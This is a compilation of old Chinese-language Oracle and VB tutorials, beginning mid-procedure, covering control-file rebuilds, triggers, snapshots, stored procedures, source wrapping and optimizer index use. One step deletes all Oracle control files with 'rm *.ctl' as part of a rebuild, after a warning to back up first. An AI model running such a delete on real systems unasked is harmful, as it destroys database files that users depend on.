    GROUP1'/volora/oracle/dbs/log1ora72.dbf' SIZE500K,

    GROUP2'/volora/oracle/dbs/log2ora72.dbf' SIZE500K,

    GROUP3'/volora/oracle/dbs/log3ora72.dbf' SIZE500K

    DATAFILE

    '/volora/oracle/dbs/systora72.dbf',

    '/volora/oracle/dbs/rbsora72.dbf',

    '/volora/oracle/dbs/tempora72.dbf',

    '/volora/oracle/dbs/toolora72.dbf',

    '/volora/oracle/dbs/usrora72.dbf',

    '/volora/oracle/dbs/jhc.dbf',

    '/volora/oracle/dbs/useradd.dbf'

    ;

    # Recovery is required if any of the datafiles are restored backups,

    # or if the last shutdown was not normal or immedia te.

    RECOVER DATABASE

    # Database can now be opened normally.

    ALTER DATABASE OPEN;

    将以上dfileadd.sql文件中横线上没用的斜体部分行删掉，存盘。

    最后关闭数据库，并做好数据库的备份,包括数据和控制文件的备份,起码要用export将数据全部卸出。有条 件的话,尽量做全备份,预防在数据库重建失败后瘫痪，因为下一步工作牵扯到对数据库的破坏和重新生成工作。

    3.修改maxdatafiles参数的过程

    3.1删除/volora/oracle/dbs目录下面所有的控制文件（共3个）：

    $rm*.ctl（回车）

    3.2重新生成数据库（生成新的控制文件、数据文件等）

    $sqldba mode=line（回车）

    SQLDBA>connect internal（回车）

    运行dfileadd.sql：

    SQLDBA>@dfileadd.sql（回车）

    ORACLE instance started.

    Statement processed.

    Media recovery complete.

    Statement processed.

    SQLDBA>alter database open noresetlogs;（回车）

    至此，数据库的刷新工作已完成,可以投入正常运行了，目前运行着的ORACLE7数据库，数据文件最多可建立 到300个。

    在Windows 95下有一个任务栏可随时用鼠标单击任务栏上的应用程序图标切换到相应的程序，在Wind ows 3.X下要切换应用程序使用的方法有两种，一种是用ALT＋TAB切换，另一种是用CTRL＋ESC（或在桌 面的空白处双击鼠标）打开任务列表从中选择切换，笔者在使用中总感到不如在Windows 95下那样方便。本文提供 一个用VB 3.0专业版在Windows 3.2中文版下编写的程序，可实现将任务列表一直显示在屏幕上，随时可用 鼠标双击任务列表中的程序名字切换，类似与Windows 95下的任务栏，使用很方便。

    实现方法：在窗体中加入一列表框，将检测到的所有已打开的应用程序加入其中，用户就可以双击应用程序名字来切 换了。这里还有一个将其常居顶端的问题，这方面的实现方法在许多报刊杂志上都可以看到，本文不再叙述，本文只给出其余 功能的实现程序。

    本程序在开始运行时检测已运行的应用程序并将它们加入到任务列表框中，当此后再有新的应用程序打开时，需要将 其添加到列表框中，所以设计了一个刷新按钮，如果有新的应用程序打开，可点一下它。 另外类似与Windows 本身 的任务列表功能，加入了一个切换按钮，当用户在任务列表中单击选择任务后，单击切换按钮也可切换，此外还有一个退出按 钮用来关闭任务列表。

    程序如下：

    在窗体中加入如下对象并设置属性：

    按钮1 Caption="刷新" name=cmdrefresh

    按钮2 Caption="切换" name=cmdswitch

    按钮3 Caption="退出" name=cmdexit

    列表框list name=lstApp

    将窗体形状拉成长条状，安排好对象位置，以便减少屏幕占用空间，将其边框属性改为固定边框，不允许改变大小。

    在总体声明部分写如下代码：

    '声明用到的API函数和常量

    Option Explicit

    Declare Function ShowWindow Lib"User"(ByVal hWnd As Integer, ByVal flgs As Integer) As Integer

    Declare Function GetWindow Lib"User"(ByVal hWnd As Integer, ByVal wCmd As Integer) As Integer

    Declare Function GetWindowWord Lib"User"(ByVal hWnd As Integer, ByVal wIndx As Integer) As Integer

    Declare Function GetWindowLong Lib"User"(ByVal hWnd As Integer, ByVal wIndx As Integer) As Long

    Declare Function GetWindowText Lib"User"(ByVal hWnd As Integer, ByVal lpSting As String, ByVal nMaxCount As Integer) As Integer

    Declare Function GetWindowTextLength Lib"User"(ByVa l hWnd As Integer) As Integer

    Declare Function SetWindowPos Lib"User"(ByVal hWnd As Integer, ByVal insaft As Integer, ByVal x%, ByVal y% , ByVal cx%, ByVal cy%, ByVal flgs As Integer) As Integ er

    '注：上面的API函数要写在一行中

    Const WS_MINIMIZE=&H20000000

    Const HWND_TOP=0

    Const SWP_NOSIZE=&H1

    Const SWP_NOMOVE=&H2

    Const SWP_SHOWWINDOW=&H40

    Const GW_HWNDFIRST=0

    Const GW_HWNDNEXT=2

    Const GWL_STYLE=(-16)

    Const SW_RESTORE=9

    Const WS_VISIBLE=&H10000000

    Const WS_BORDER=&H800000

    Const WS_CLIPSIBLINGS=&H4000000

    Const WS_THICKFRAME=&H40000

    Const WS_GROUP=&H20000

    Const WS_TABSTOP=&H10000

    Dim IsTask As Long

    '寻找已打开的应用程序函数

    Sub FindAllApps()

    Dim hwCurr As Long

    Dim intLen As Long

    Dim strTitle As String

    lstApp.Clear

    hwCurr= GetWindow(Me.hWnd, GW_HWNDFIRST)

    Do While hwCurr

    If hwCurr<> Me.hWnd And TaskWindow(hwCurr) Then

    intLen= GetWindowTextLength(hwCurr)+1

    strTitle= Space$(intLen)

    intLen= GetWindowText(hwCurr, strTitle, intLen)

    If intLen>0 Then

    lstApp.AddItem strTitle

    lstApp.ItemData(lstApp.NewIndex)= hwCurr

    End If

    End If

    hwCurr= GetWindow(hwCurr, GW_HWNDNEXT)

    Loop

    End Sub

    Function TaskWindow(hwCurr As Long) As Long

    Dim lngStyle As Long

    lngStyle= GetWindowLong(hwCurr, GWL_STYLE)

    If(lngStyle And IsTask)= IsTask Then TaskWindow= Tr ue

    End Function

    双击“退出”按钮，写如下代码：

    Sub Cmdexit_Click()

    Unload Me

    End Sub

    双击“刷新”按钮，写如下代码：

    Sub Cmdrefresh_Click()

    FindAllApps'刷新任务列表

    End Sub

    双击“切换”按钮，写如下代码：

    Sub Cmdswitch_Click()

    Dim hWnd As Long

    Dim x As Long

    Dim lngWW As Long

    If lstApp.ListIndex<0 Then Beep: Exit Sub

    hWnd= lstApp.ItemData(lstApp.ListIndex)

    lngWW= GetWindowLong(hWnd, GWL_STYLE)

    If lngWW And WS_MINIMIZE Then

    x= ShowWindow(hWnd, SW_RESTORE)

    End If

    x= SetWindowPos(hWnd, HWND_TOP,0,0,0,0, SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW)

    End Sub

    双击窗体，写如下代码：

    Sub Form_Load()

    IsTask= WS_VISIBLE Or WS_BORDER

    FindAllApps

    End Sub

    窗体更新时刷新任务列表：

    Sub Form_Paint()

    FindAllApps

    End Sub双击列表框写如下代码：

    Sub lstApp_DblClick()

    Switch.Value= True

    End Sub

软件世界


Oracle技术网—触发器的几种应用

触发器的几种应用
来源：http://www.info365.com.cn/
作者：李振华　李贵龙　刘涯

    摘　要　列举了触发器的几种代表性应用：数据分散—集中式模型的设计，历史数据的导出，应用系统间的数据接口。并对如何设计这些触发器进行了探讨。
    关键词　触发器，数据分散—集中模型，历史数据导出，数据接口

1　引言
    在大型数据库设计中，会经常用到触发器。它的特点是：一旦被定义，就存在于后台数据库系统（server，服务器方）中，并会在相应条件下自动地隐式执行，从而使得它的设计既与前台（client，客户机方）的平台无关，又免除了前台相关的数据操作设计。
    在文献［1］中，列举了触发器的几种应用：审计;复杂的完整性约束;复杂的安全性授权;事件登录;列值导出;分布式数据库中表复制。

2　触发器的另外几种应用
2.1　数据分散——集中式模型设计
    在实际开发过程中，经常遇到这样的数据维护要求：单位由多个部门组成，要求各部门只能维护本部门的数据，但另一方面，又需要将分散到各部门的数据集中起来进行汇总，得到本单位的汇总数据。如一个学校有多个系，学校需要各系的成绩汇总；一个工厂有多个生产车间，工厂需要各车间的产量汇总；一个公司有多个销售部门，公司需要各部门的销量汇总等等。
    在这种情况下，如果不使用触发器的话，数据库设计就存在困难：
    . 如果为每个部门都建立一个表，显然难以得到汇总的数据（在这种情况下，无法利用视图机制）；
    . 如果所有的部门都共享一个表的话（这时，这张表中的数据实际就是汇总的数据），因为每个部门需要维护数据，所以都对这个表有修改权，因此在数据安全上难以控制。
    使用触发器的话，上述问题便可迎刃而解：为每个部门建立一个表（该部门的所有权限只限于对此表有修改权），再为汇总数据也建立一个表，然后在每个部门表上建立触发器，使得部门表上有数据更新时，便会对应地更改汇总表中的相关数据（见图1）。

图1　触发器应用于数据分散——集中式模型

    在这种模型中，要注意设计好部门表相关字段的完整性约束，使各部门表内的数据是唯一的，以防止不同部门表出现相同的数据记录，从而导致在汇总表中出现混乱。

2.2　历史数据导出
    数据库中的表只记载最新的数据，而不记载历史数据。但在很多情况下，历史数据的记载与分析反而比现实数据更有意义（这也正是数据仓库与数据库的区别之一），比如学校中学号的变动，工厂定额的更改，公司产品和原材料价格的变化、股票的升跌等等，它们都需要记录历史数据。
    如何使数据库也能记载历史数据呢？使用触发器可以解决这类问题。
    建立这类触发器的步骤是：建立数据表后，再建立对应的历史表（一般而言，历史表在字段组成上是数据表的超集，即在原数据表字段上再增加有关时间的字段），然后在两者之间设立触发器（见图2）。这样，每当数据表有数据变动，触发器便将变动的数据记入历史数据表中，从而达到自动记录历史数据的目的。

图2　历史数据的导出模式

2.3　应用系统间的数据接口
    一个完整的信息系统的建设一般不是一步到位的，往往是分期分批完成，而不同期次的系统往往又会有数据传递，然而由于需求发生变化或是其他原因，不同期次系统的数据库设计在表结构甚至字段上的设计都可能会互不一致（即使是在同一期的开发过程中，由于总体设计或数据字典方面的偏差或不足，或者需要集成多家系统，这种现象也会经常出现）。在不可能重建这些系统的情况下，它们之间的数据能无缝传递吗？换言之，它们之间能够做到无缝连接吗？

    在这种情况下，触发器可以是一种较好的解决方式：建立中间表，中间表的设计符合需方应用系统的设计格式，而它的数据又与供方应用系统的数据保持一致。（见图3）

图3　中间作为不同应用系统间的数据接口

    要注意的一点是：图示应用系统间的数据是单向流动的（即数据传递）；如果数据需要双向流动（即数据交换），那么在触发器设计中应有退出机制，以避免发生触发器的递归。

3　结语
    触发器对数据库开发过程中遇到的问题，往往会有独到的解决方法。触发器能使数据库的设计变得简洁和高效。文中的3个例子，代表了触发器3个方面的典型应用。

作者简介：李振华　硕士，讲师。现从事计算机网络及数据库的教学与科研工作。

作者单位：中国地质大学网络中心　湖北.武汉（430074)

参考文献
［1］　沈佩娟，汤荷美,编著. 数据库管理及应用开发(第1版).北京：清华大学出版社，1995,6


Oracle技术网—建立触发器时最容易忽略的两个地方

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
建立触发器时最容易忽略的两个地方？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      CREATE TRIGGER table1_delete BEFORE DELETE ON table1 FOR EACH ROW
      BEGIN
                Insert table2(a) values(1);
      END

      以上触发子有两个错误：

      1. Insert 后必须有into关键字
      2. END 后必须有“;”


Oracle技术网—快照和触发子结合使用的例子

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
快照和触发子结合使用的例子

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 需求说明：
      大型商场、超市中，都会有计算机管理系统，很多都用到了Oracle数据库， 此行业中有一个商品库存管理的问题，因为商品种类特别多（超过10万种）， 一般库存表中记载的是只是当日库存，那么如何记录历史库存呢？
  • 实现方法：
    SQL*Plus中

create table 当前库存表(
        spbm	char(6),       --商品编码
        kcsl	number         --库存数量
        );

create table 历史库存表(
        rq		char(8),       --日期
        spbm	char(6),       --商品编码
        kcsl	number         --库存数量
        );

  drop snapshot 计算快照;
create snapshot 计算快照 refresh next round(sysdate+0.5)+116/144
as
    select * from dual;
--每天晚19:20执行，这个快照什么也不做，只是为了触发下面的触发子，因为在这个快照刷新的时候，有新记录产生

create or replace trigger 记录历史库存触发子 before insert on snap$_计算快照 for each row
begin
 insert into 历史库存表(rq,spbm,kcsl)
        select to_char(sysdate,'yyyymmdd'),spbm,kcsl from 当前库存表;
exception when others then
 raise_application_error(-10000,'不能记录历史库存');
end;
/

以上只是一种方法，主要目的是介绍快照和触发器结合使用的方法。


Oracle技术网—能否通过视图更新表中的数据

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
能否通过视图更新表中的数据

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
    需要满足以下三个条件
1、数据的简单子集
2、视图中没有包含表中的非空列（Not Null）
3、基于一个简单表，不能使用聚组函数

例如：
下面这个视图可以更新
create view 视图1 as select * from 表1;

但下面这个视图不可以更新

create view 视图1 as select 列1,sum(列2) from 表1 group by 列1;


Oracle技术网—如何创建一个简单的JAVA存储过程？

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
如何创建一个简单的JAVA存储过程？

  • 软件环境：
      1、操作系统：Windows 2000 Server
      2、数 据 库：Oracle 8i R2 (8.1.7) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：
    1、   创建一个文件为TEST.java
          public class TEST
          {
            public static void main (String args[])
          {
                System.out.println("HELLO THIS iS A JAVA PROCEDURE");
          }
          }
2、   javac TEST.java
3、   java TEST

    4、   SQL> conn system/manager
SQL> grant create any directory to scott;
SQL> conn scott/tiger
SQL> create or replace directory test_dir as 'd:\';

目录已创建。

SQL> create or replace java class using bfile(test_dir,'TEST.CLASS')
  2  /

Java 已创建。

SQL> select object_name,object_type,STATUS from user_objects;

SQL> create or replace procedure test_java
     as language java
     name 'TEST.main(java.lang.String[])';
     /

过程已创建。

SQL> set serveroutput on size 5000
SQL> call dbms_java.set_output(5000);

调用完成。

SQL> execute test_java;
HELLO THIS iS A JAVA PROCEDURE

PL/SQL 过程已成功完成。

SQL> call test_java();
HELLO THIS iS A JAVA PROCEDURE

调用完成。


Oracle技术网—如何创建隐藏IP地址的最后一项的函数？

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
如何创建隐藏IP地址的最后一项的函数？

  • 软件环境：
      1、操作系统：Windows 2000 Server
      2、数 据 库：Oracle 8i R2 (8.1.7) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：
    Create or replace Function iphide(data varchar2) return varchar2 is

tmp varchar2(20);

tmp1 varchar2(20);

begin

tmp:=data;

tmp1:=substrb(tmp,1,instrb(tmp,'.',-1))||'*';

return tmp1;

End iphide;

/

SQL> select iphide('192.125.125.166') from dual;

IPHIDE('192.125.125.166')

--------------------------------------------------

192.125.125.*

SQL> select iphide('192.1.1.1') from dual;

IPHIDE('192.1.1.1')

--------------------------------------------------

192.1.1.*

SQL> variable tmp varchar2(20)

SQL> call iphide('192.1.1.1') into :tmp;

调用完成。

SQL> print tmp;

TMP

--------------------------------

192.1.1.*

SQL>


Oracle技术网—如何加密Oracle中的存储过程,从而在schema下看不到其源码？

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
如何加密Oracle中的存储过程,从而在schema下看不到其源码？

  • 软件环境：
      1、操作系统：Windows 2000 Server
      2、数 据 库：Oracle 8i R2 (8.1.7) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：
    1、

D:\>set NLS_LANG=AMERICAN_AMERICA.USACII7

或

D:\>set NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P1

D:\>set

直接打set命令可以查看环境变量

2、

在D:\下创建a.sql文件，内容如下：

create or replace procedure test1(i in number) as

begin

dbms_output.put_line('输入参数是'||to_char(i));

end;

3、

D:\>wrap iname=a.sql

PL/SQL Wrapper: Release 8.1.7.0.0 - Production on Tue Nov 27 22:26:48 2001

Copyright (c) Oracle Corporation 1993, 2000.  All Rights Reserved.

Processing a.sql to a.plb

4、

打开a.plb，现在它的内容如下：

create or replace procedure test1 wrapped

0

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

3

7

8106000

1

4

0

8

2 :e:

1TEST1:

1I:

1NUMBER:

1DBMS_OUTPUT:

1PUT_LINE:

1输入参数是:

1||:

1TO_CHAR:

0

0

0

1f

2

0 1d 9a 8f a0 b0 3d b4

55 6a :2 a0 6b 6e 7e :2 a0 a5

b b4 2e a5 57 b7 a4 b1

11 68 4f 17 b5

1f

2

0 3 4 1d 19 18 25 15

2a 2e 32 36 3a 3d 42 45

49 4d 4e 50 51 56 57 5c

5e 62 64 70 74 76 7f

1f

2

0 1 b 11 16 :2 11 10 :3 1

:2 d 16 22 24 2c :2 24 :2 16 :a 1

1f

2

0 :9 1 :d 3 :2 2 :3 1 4 :2 1

81

4

:4 0 1 :a 0 1b

1 :4 0 5 :2 0

:2 3 :3 0 2 :7 0

5 4 :3 0 7

:2 0 1b 2 8

:2 0 4 :3 0 5

:3 0 a b 0

6 :4 0 7 :2 0

8 :3 0 2 :3 0

7 f 11 9

e 13 :3 0 :2 c

15 :2 0 17 10

1a :3 0 1a 0

1a 19 17 18

:6 0 1b :2 0 2

8 1a 1d :2 0

1 1b 1e :8 0

13

4

:3 0 1 3 1

6 1 10 2

d 12 1 14

1 16 2 16

1c

1

4

0

1d

0

1

14

1

2

0 0 0 0 0 0 0 0

0 0 0 0 0 0 0 0

0 0 0 0

2 0 1

3 1 0

0

/

5、运行a.plb

SQL> @d:\a.plb

过程已创建。

6、运行存储过程

SQL> set serveroutput on

SQL> execute test1(1);

输入参数是1

PL/SQL 过程已成功完成。

7、查看存储过程的代码

SQL> select name,text from all_source where type='PROCEDURE' and name='TEST1';

结果：看不到其原码


Oracle技术网—为什么有时ORACLE数据库不用索引来查找数据

为什么有时ORACLE数据库不用索引来查找数据？
来源：赛迪网
（作者：福州电信局计算机中心 李炯　2000年05月15日 18:17）

     当你运用SQL语言，向数据库发布一条查询语句时，ORACLE将伴随产生一个“执行计划”，也就是该语句将通过何种数据搜索方案执行，是通过全表扫描、还是通过索引搜寻等其它方式。搜索方案的选用与ORACLE的优化器息息相关。

SQL语句的执行步骤
     一条SQL语句的处理过程要经过以下几个步骤。

1 语法分析 分析语句的语法是否符合规范，衡量语句中各表达式的意义。

2 语义分析 检查语句中涉及的所有数据库对象是否存在，且用户有相应的权限。

3 视图转换 将涉及视图的查询语句转换为相应的对基表查询语句。

4 表达式转换 将复杂的SQL表达式转换为较简单的等效连接表达式。

5 选择优化器 不同的优化器一般产生不同的“执行计划”

6 选择连接方式 ORACLE有三种连接方式，对多表连接ORACLE可选择适当的连接方式。

7 选择连接顺序 对多表连接ORACLE选择哪一对表先连接，选择这两表中哪个表做为源数据表。

8 选择数据的搜索路径 根据以上条件选择合适的数据搜索路径，如是选用全表搜索还是利用索引或是其他的方式。

9 运行“执行计划”

ORACLE的优化器
    ORACLE有两种优化器：基于规则的优化器（RBO， Rule Based Optimizer），和基于代价的优化器（CBO， Cost Based Optimizer）。

    RBO自ORACLE 6版以来被采用，有着一套严格的使用规则，只要你按照它去写SQL语句，无论数据表中的内容怎样，也不会影响到你的“执行计划”，也就是说对数据不“敏感”，ORACLE公司已经不再发展这种技术了。

    CBO自ORACLE 7版被引入，ORACLE自7版以来采用的许多新技术都是基于CBO的，如星型连接排列查询，哈希连接查询，和并行查询等。CBO计算各种可能“执行计划”的“代价”，即cost，从中选用cost最低的方案，作为实际运行方案。各“执行计划”的cost的计算根据，依赖于数据表中数据的统计分布，ORACLE数据库本身对该统计分布并不清楚，须要分析表和相关的索引，才能搜集到CBO所需的数据。

    一般而言，CBO所选择的“执行计划”都不会比RBO的“执行计划”差，而且相对而言，CBO对程序员的要求没有RBO那么苛刻，节省了程序员为了从多个可能的“执行计划”中选择一个最优的方案而花费的调试时间，但在某些场合下也会存在问题。

较典型的问题有：有时，表明明建有索引，但查询过程显然没有用到相关的索引，导致查询过程耗时漫长，占用资源巨大，问题到底出在哪儿呢？按照以下顺序查找，基本上能发现原因所在。

查找原因的步骤
    首先，我们要确定数据库运行在何种优化模式下，相应的参数是：optimizer_mode。可在svrmgrl中运行“show parameter optimizer_mode"来查看。ORACLE V7以来缺省的设置应是"choose"，即如果对已分析的表查询的话选择CBO，否则选择RBO。如果该参数设为“rule”，则不论表是否分析过，一概选用RBO，除非在语句中用hint强制。

    其次，检查被索引的列或组合索引的首列是否出现在PL/SQL语句的WHERE子句中，这是“执行计划”能用到相关索引的必要条件。

    第三，看采用了哪种类型的连接方式。ORACLE的共有Sort Merge Join（SMJ）、Hash Join（HJ）和Nested Loop Join（NL）。在两张表连接，且内表的目标列上建有索引时，只有Nested Loop才能有效地利用到该索引。SMJ即使相关列上建有索引，最多只能因索引的存在，避免数据排序过程。HJ由于须做HASH运算，索引的存在对数据查询速度几乎没有影响。

    第四，看连接顺序是否允许使用相关索引。假设表emp的deptno列上有索引，表dept的列deptno上无索引，WHERE语句有emp.deptno=dept.deptno条件。在做NL连接时，emp做为外表，先被访问，由于连接机制原因，外表的数据访问方式是全表扫描，emp.deptno上的索引显然是用不上，最多在其上做索引全扫描或索引快速全扫描。

    第五，是否用到系统数据字典表或视图。由于系统数据字典表都未被分析过，可能导致极差的“执行计划”。但是不要擅自对数据字典表做分析，否则可能导致死锁，或系统性能下降。

    第六，索引列是否函数的参数。如是，索引在查询时用不上。

    第七，是否存在潜在的数据类型转换。如将字符型数据与数值型数据比较，ORACLE会自动将字符型用to_number()函数进行转换，从而导致第六种现象的发生。

    第八，是否为表和相关的索引搜集足够的统计数据。对数据经常有增、删、改的表最好定期对表和索引进行分析，可用SQL语句“analyze table xxxx compute statistics for all indexes;"。ORACLE掌握了充分反映实际的统计数据，才有可能做出正确的选择。

    第九，索引列的选择性不高。

    我们假设典型情况，有表emp，共有一百万行数据，但其中的emp.deptno列，数据只有4种不同的值，如10、20、30、40。虽然emp数据行有很多，ORACLE缺省认定表中列的值是在所有数据行均匀分布的，也就是说每种deptno值各有25万数据行与之对应。假设SQL搜索条件DEPTNO=10，利用deptno列上的索引进行数据搜索效率，往往不比全表扫描的高，ORACLE理所当然对索引“视而不见”，认为该索引的选择性不高。

    但我们考虑另一种情况，如果一百万数据行实际不是在4种deptno值间平均分配，其中有99万行对应着值10，5000行对应值20，3000行对应值30，2000行对应值40。在这种数据分布图案中对除值为10外的其它deptno值搜索时，毫无疑问，如果索引能被应用，那么效率会高出很多。我们可以采用对该索引列进行单独分析，或用analyze语句对该列建立直方图，对该列搜集足够的统计数据，使ORACLE在搜索选择性较高的值能用上索引。

    第十，索引列值是否可为空（NULL）。如果索引列值可以是空值，在SQL语句中那些需要返回NULL值的操作，将不会用到索引，如COUNT（*），而是用全表扫描。这是因为索引中存储值不能为全空。

    第十一，看是否有用到并行查询（PQO）。并行查询将不会用到索引。

    第十二，看PL/SQL语句中是否有用到bind变量。由于数据库不知道bind变量具体是什么值，在做非相等连接时，如“<”，“>”,“like”等。ORACLE将引用缺省值，在某些情况下会对执行计划造成影响。

    如果从以上几个方面都查不出原因的话，我们只好用采用在语句中加hint的方式强制ORACLE使用最优的“执行计划”。

    hint采用注释的方式，有行注释和段注释两种方式。

    如我们想要用到A表的IND_COL1索引的话，可采用以下方式：

    “SELECT /*+ INDEX（A IND_COL1）*/ * FROM A WHERE COL1 = XXX;"

    注意，注释符必须跟在SELECT之后，且注释中的“+”要紧跟着注释起始符“/*”或“--”，否则hint就被认为是一般注释，对PL/SQL语句的执行不产生任何影响。

两种有效的跟踪调试方法
    ORACLE提供了两种有效的工具来跟踪调试PL/SQL语句的执行计划。

    一种是EXPLAIN TABLE方式。用户必须首先在自己的模式（SCHEMA）下，建立PLAN_TABLE表，执行计划的每一步骤都将记录在该表中，建表SQL脚本为在${ORACLE_HOME}/rdbms/admin/下的utlxplan.sql。

    打开SQL*PLUS，输入“SET AUTOTRACE ON”，然后运行待调试的SQL语句。在给出查询结果后，ORACLE将显示相应的“执行计划”，包括优化器类型、执行代价、连接方式、连接顺序、数据搜索路径以及相应的连续读、物理读等资源代价。

    如果我们不能确定需要跟踪的具体SQL语句，比如某个应用使用一段时间后，响应速度忽然变慢。我们这时可以利用ORACLE提供的另一个有力工具TKPROF，对应用的执行过程全程跟踪。

    我们要先在系统视图V$SESSION中，可根据USERID或MACHINE，查出相应的SID和SERIAL#。

    以SYS或其他有执行DBMS_SYSTEM程序包的用户连接数据库，执行“EXECUTE DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION（SID，SERIAL#，TRUE）；”。

    然后运行应用程序，这时在服务器端，数据库参数“USER_DUMP_DEST”指示的目录下，会生成ora__xxxx.trc文件，其中xxxx为被跟踪应用的操作系统进程号。

    应用程序执行完成后，用命令tkprof对该文件进行分析。命令示例：“tkprof tracefile outputfile explain=userid/password"。在操作系统ORACLE用户下，键入“tkprof”，会有详细的命令帮助。分析后的输出文件outputfile中，有每一条PL/SQL语句的“执行计划”、CPU占用、物理读次数、逻辑读次数、执行时长等重要信息。根据输出文件的信息，我们可以很快发现应用中哪条PL/SQL语句是问题的症结所在。


Oracle技术网—我的数据库链路为什么不工作

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】
我的数据库链路为什么不工作？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1. 查看 init.ora 参数中 global_names 项

      2. 如果“数据库链路名”和它所要连接的“数据库”拥有相同的名字，则设置global_names = TRUE

      否则，设置global_names = FALSE


Oracle技术网—一个建立快照的简单例子

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】
一个建立快照的简单例子

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      SQL*Plus中

      SQL> create snapshot 快照名 refresh next round(sysdate+0.5)+96/144
           as
              《SQL语句》;

      说明：快照更新时间：每天下午16:00
            round(sysdate+0.5)语句的目的是确保快照在第二天开始执行刷新


Oracle技术网—怎样创建一个简单的自定义过程并引用

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】 阿木伯 著
怎样创建一个简单的自定义过程并引用？

  • 软件环境：
      1、操作系统：Windows 2000 Server
      2、数 据 库：Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：
    创建过程方法一：

SQL> set serveroutput on
SQL>
SQL> create or replace procedure test1(i in number) as
  2  begin
  3  dbms_output.put_line('输入参数是'||to_char(i));
  4  end;
  5  /

过程已创建。

创建过程方法二：

SQL> create table a(a date);

表已创建。

SQL>
SQL> create or replace procedure test2 as
  2  begin
  3  insert into a values(sysdate);
  4  end;
  5  /

过程已创建。

如果出现错误，使用show error查看错误

运行过程方法一：
SQL> execute test1(1);
输入参数是1

PL/SQL 过程已成功完成。

SQL> execute test2;

PL/SQL 过程已成功完成。

SQL> execute test2;

PL/SQL 过程已成功完成。

SQL> select to_char(a,'yyyy/mm/dd hh24:mi:ss') 时间 from a;

时间
-------------------
2001/01/05 20:33:52
2001/01/05 20:34:01

运行过程方法二：
SQL> begin
  2  test1(2);
  3  end;
  4  /
输入参数是2

PL/SQL 过程已成功完成。

SQL> begin
  2  test2;
  3  end;
  4  /

PL/SQL 过程已成功完成。


Oracle技术网—怎样手工刷新快照

位置：首页→索引、序列、快照、数据库链路、触发器......→

【点击：】
怎样手工刷新快照？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      SQL*Plus中

      begin
            dbms_snapshot.refresh('快照名')
      end;

      注意：快照名一定要大写


MySQL 测试

序

随着互联网的发展和自由软件软件运动的日益活跃，越来越多的人开始将各种数据库应用于自己的网络应用中。于是，各种各样的数据库系统出现在互联网的舞台上，这里最常用的两种数据库是MySQL 和 PostgreSQL，在互联网有着不同的应用和用户群。有趣的是，就象在操作系统领域里面 FreeBSD 和 Linux 之间的争论一样，在这两种数据库之间也存在着不小的争论，而且这些争论有时候很大程度上影响了用户的自己的判断，同时也会令用户做选择的时候感到难受，为了便于大家用自己的眼光看问题，我们特地在这里整理了一些各个方面提供的对比信息，集中起来，供大家作为参考。同时，我们收集的材料还有其他数据库的一些信息，为了尽可能为大家提供比较完整的信息，我们也一并收录了进来。这里我们主要进行特性和性能的比较，还有其他一些很重要的因素，如版权和活跃性等，可以比较容易地在我们后面的其他资源部分得到，这里不再复述。

版权声明

本文所引用的资料由该资料的原著和/或其中文译者所有，本文允许做任何非商业用途的自由转载，但是转载时请参考各个作者各自的版权声明，若有冲突，请与相应作者联系。文中出现的数据和结果都是经过各个作者认真和严格的专业检验的，但是作者对任何数据和结果不做任何承诺和保证也不对因本文造成的任何后果承担任何责任。

版本

v1.0.0RC1

他山之石

这里是晏子兄整理的 Matthias Warkus 写的一份比较。

这里是来自一位俄罗斯黑客的评价。

王婆卖瓜

这里收集了一些各方面自己的评测和对比。

这部分的内容是网友wangbin收集整理的。

PostgreSQL 的测试

PostgreSQL 自己的对比测试比较简单，主要是基于特性方面的比较，不过很有意思的是在这个列表里面没有 MySQL 的身影，从 PostgreSQL 的概念而言 MySQL 好象不是一个完整的数据库，大概是因为目前 MySQL 还缺乏一些关键的数据库特性吧。

这里是 PostgreSQL 自己做的一个 简单的对比 。

MySQL 的测试

MySQL 提供了一个数据库测试套件，也是在我们收集的材料中最为丰富和详细的数据资料了。除了提供了与 PostgreSQL 的对比，它还提供了与许多其他数据库的对比数据。MySQL 的比较主要基于速度和性能等方面，在其所有参评平台比较中有特性比较，但是缺少了一个正在成为自由软件的 RDBMS —— InterBase（InterBase 称从6.0开始开放源码，不过不知道是否GPL）。

下面的内容是 MySQL 站点上的获取的信息和测试结果：

你可以从 MySQL 源码发行版本中找到测试程序的完整源码和一些对比数据表。

有 _fast 标记的表项是在非标准 ANSI SQL 模式同时允许使用清理命令（cleanup calls）的情况下测试得到的。这不再是百分之百的 SQL，但这些数据表项仍十分有用。

